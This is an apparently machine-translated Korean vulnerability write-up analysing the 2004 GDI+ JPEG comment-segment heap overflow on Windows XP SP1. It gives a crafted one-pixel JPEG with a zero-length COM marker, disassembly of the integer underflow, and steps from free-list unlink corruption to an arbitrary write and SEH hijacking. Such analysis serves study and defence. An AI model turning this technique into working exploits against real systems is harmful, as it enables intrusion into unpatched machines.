이 취약점은 확실히 힙 오버 플로우 였습니다.
0XFFFFFFFE 바이트 (4GB !!!!)를 작성하면 프로그램이 충돌하지 않을 수 있습니까?
아마도 그럴 것이지만 어떤 경우에는 크래시가 발생하기 전에 악용 할 시간이 있습니다 (때로는 프로그램을 정상 실행으로 되돌리고 크래시를 피할 수 있습니다).
memcpy ()가 시작되면 복사본이 다른 힙 블록이나 힙 관리 구조의 일부 (예 : 여유 목록, 사용 중 목록 등)를 덮어 씁니다.
어느 시점에서 복사본은 할당되지 않은 페이지를 만나고 쓰기시 AV (액세스 위반)를 트리거합니다. 그런 다음 GDI +는 힙에 새 블록을 할당하려고 시도합니다 ( ntdll! RtlAllocateHeap 참조 ) ...하지만 힙 구조는 이제 모두 엉망이됩니다.
이때 JPEG 이미지를 신중하게 작성하여 제어 된 데이터로 힙 관리 구조를 덮어 쓸 수 있습니다. 시스템이 새 블록을 할당하려고 할 때 아마도 사용 가능한 목록에서 (사용 가능한) 블록의 연결을 해제 할 것입니다.
블록은 (특히) flink (정방향 링크, 목록의 다음 블록) 및 깜박임 (역방향 링크, 목록의 이전 블록) 포인터로 관리됩니다. flink와 blink를 모두 제어하면 쓸 수있는 내용과 쓸 수있는 위치를 제어 할 수있는 WRITE4 (What / Where 조건 쓰기)가있을 수 있습니다.
이 시점에서 함수 포인터 ( SEH [Structured Exception Handlers] 포인터는 2004 년 당시 선택 대상이었습니다)를 덮어 쓰고 코드 실행을 얻을 수 있습니다.
블로그 게시물 힙 손상 : 사례 연구를 참조하십시오 .
참고 : 내가 freelist를 사용하여 악용에 대해 썼지 만 공격자는 다른 힙 메타 데이터를 사용하여 다른 경로를 선택할 수 있지만 ( "힙 메타 데이터"는 시스템에서 힙을 관리하는 데 사용하는 구조이고 flink 및 blink는 힙 메타 데이터의 일부입니다) 링크 해제 악용은 아마도 "가장 쉬운"것입니다. "힙 악용"에 대한 Google 검색은 이에 대한 수많은 연구 결과를 반환합니다.
이것은 힙 영역을 넘어서 다른 프로그램과 OS의 공간에 기록됩니까?
못. 최신 OS는 가상 주소 공간의 개념을 기반으로하므로 각 프로세스에는 32 비트 시스템에서 최대 4GB의 메모리 주소를 지정할 수있는 자체 가상 주소 공간이 있습니다. 나머지는 커널 용입니다.)
간단히 말해, 프로세스는 다른 프로세스의 메모리에 액세스 할 수 없습니다 (일부 서비스 / API를 통해 커널에 요청하는 경우를 제외하고 커널은 호출자가 그렇게 할 수있는 권한이 있는지 확인합니다).
저는 이번 주말에이 취약점을 테스트하기로 결정했습니다. 그래서 우리는 순수한 추측보다는 무슨 일이 일어나고 있는지에 대한 좋은 아이디어를 얻을 수있었습니다. 취약점은 이제 10 년이되었으므로이 답변에서 악용 부분에 대해 설명하지 않았지만 이에 대해 작성해도 괜찮다고 생각했습니다.
계획
가장 어려운 작업은 2004 년과 마찬가지로 SP1 만있는 Windows XP를 찾는 것이 었습니다. :)
그런 다음 아래와 같이 단일 픽셀로만 구성된 JPEG 이미지를 다운로드했습니다 (간결성을 위해 잘라 냄).
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
JPEG 그림은 이진 마커 (세그먼트를 유도함)로 구성됩니다. 위 이미지에서는 FF D8
SOI (Start Of Image) 마커이고 FF E0
는 애플리케이션 마커입니다.
마커 세그먼트의 첫 번째 매개 변수 (SOI와 같은 일부 마커 제외)는 길이 매개 변수를 포함하고 2 바이트 마커를 제외하고 마커 세그먼트의 바이트 수를 인코딩하는 2 바이트 길이 매개 변수입니다.
FFFE
마커는 엄격한 순서가 없기 때문에 SOI 바로 뒤에 COM 마커 (0x ) 를 추가 했습니다.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
COM 세그먼트의 길이 00 00
는 취약점을 유발하도록 설정됩니다 . 또한 COM 마커 바로 뒤에 0xFFFC 바이트를 반복 패턴 (16 진수 4 바이트 숫자)으로 삽입했습니다. 이는 취약점을 "악용"할 때 유용합니다.
디버깅
이미지를 두 번 클릭하면 Windows 셸 ( "explorer.exe"라고도 함) 어딘가에 gdiplus.dll
라는 함수 의 버그가 즉시 트리거됩니다 GpJpegDecoder::read_jpeg_marker()
.
이 함수는 그림의 각 마커에 대해 호출됩니다. 간단히 : 마커 세그먼트 크기를 읽고 길이가 세그먼트 크기 인 버퍼를 할당하고 세그먼트의 내용을 새로 할당 된 버퍼에 복사합니다.
여기 함수의 시작 :
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
register는 세그먼트 크기를 가리키며 edi
이미지에 남아있는 바이트 수입니다.
그런 다음 코드는 최상위 바이트 (길이는 16 비트 값)부터 시작하여 세그먼트 크기를 읽습니다.
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
그리고 최하위 바이트 :
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
이 작업이 완료되면 다음 계산에 따라 세그먼트 크기를 사용하여 버퍼를 할당합니다.
alloc_size = segment_size + 2
이것은 아래 코드로 수행됩니다.
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
우리의 경우 세그먼트 크기가 0이므로 버퍼에 할당 된 크기는 2 바이트 입니다.
취약점은 할당 직후입니다.
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
코드는 전체 세그먼트 크기 (이 경우 0)에서 segment_size 크기 (세그먼트 길이는 2 바이트 값)를 빼고 정수 언더 플로로 끝납니다. 0-2 = 0xFFFFFFFE
그런 다음 코드는 이미지에서 구문 분석 할 바이트가 남아 있는지 (true) 확인한 다음 복사본으로 이동합니다.
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
위의 스 니펫은 복사 크기가 0xFFFFFFFE 32 비트 청크임을 보여줍니다. 소스 버퍼 (그림의 내용)가 제어되고 대상은 힙의 버퍼입니다.
쓰기 조건
복사는 메모리 페이지 끝에 도달 할 때 액세스 위반 (AV) 예외를 트리거합니다 (소스 포인터 또는 대상 포인터에서 발생할 수 있음). AV가 트리거되면 매핑되지 않은 페이지가 나타날 때까지 복사본이 모든 후속 힙 블록을 이미 덮어 썼기 때문에 힙은 이미 취약한 상태에 있습니다.
이 버그를 악용 할 수있는 이유는 3 개의 SEH (Structured Exception Handler; 이것은 try / except at low level)가 코드의이 부분에서 예외를 포착한다는 것입니다. 보다 정확하게는 첫 번째 SEH가 스택을 풀어서 다른 JPEG 마커를 다시 구문 분석하여 예외를 트리거 한 마커를 완전히 건너 뜁니다.
SEH가 없으면 코드가 전체 프로그램을 중단했을 것입니다. 따라서 코드는 COM 세그먼트를 건너 뛰고 다른 세그먼트를 구문 분석합니다. 그래서 우리 GpJpegDecoder::read_jpeg_marker()
는 새로운 세그먼트로 돌아가서 코드가 새로운 버퍼를 할당 할 때 :
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
시스템은 사용 가능 목록에서 블록 연결을 해제합니다. 이미지의 내용이 메타 데이터 구조를 덮어 쓴 경우가 있습니다. 따라서 제어 된 메타 데이터로 연결 해제를 제어합니다. 힙 관리자의 시스템 (ntdll) 어딘가에있는 아래 코드 :
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
이제 우리가 원하는 것을 원하는 곳에 쓸 수 있습니다 ...